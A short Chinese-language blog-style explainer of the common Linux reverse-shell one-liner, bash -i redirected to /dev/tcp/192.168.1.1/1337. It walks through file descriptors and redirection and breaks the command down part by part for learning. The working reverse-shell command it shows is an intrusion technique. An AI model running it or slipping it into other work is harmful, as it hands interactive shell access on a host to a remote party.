关于Linux下反弹Shell命令的解释

Linux下反弹shell最常用的一句命令:

bash -c 'exec bash -i &>/dev/tcp/192.168.1.1/1337 <&1'

对这条命令的理解,以我个人经历而言,大概分为几个阶段

  1. 知道怎么用,但是记不住,用的时候就百度;
  2. 大概背过了,也能理解命令某些部分的含义,但仍然不清不楚;
  3. 完全理解了命令的每一部分的含义,可以脱离死记硬背,并写出不同形式的命令;

说来惭愧,入行多年了,今天才完成第三步,这里仅作一次记录。
详细原理三言两语较难说清,这里简单提炼一下主要知识点。


前置理论:

  1. Linux下的一切都是文件
  2. Linux中的文件描述符:
  • 标准输入 - 0 (默认设备键盘)
  • 标准输出 - 1 (默认设备显示器)
  • 错误输出 - 2 (默认设备显示器)
  1. bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向,然后在把重定向去掉,执行指令。

那么,下面简单拆解一下反弹shell的命令
bash -c:不解释了;
bash -i:表示启动一个交互式的Shell;
&>:表示将所有输出重定向;
/dev/tcp/ip/port:表示目标的地址*(Linux下一切皆是文件)*;
<&1:表示将标准输入重定向至标准输出的目标;

简而言之,&>实现了命令输入在攻击端完成,<&1实现了命令结果输出在攻击端。


参考资料: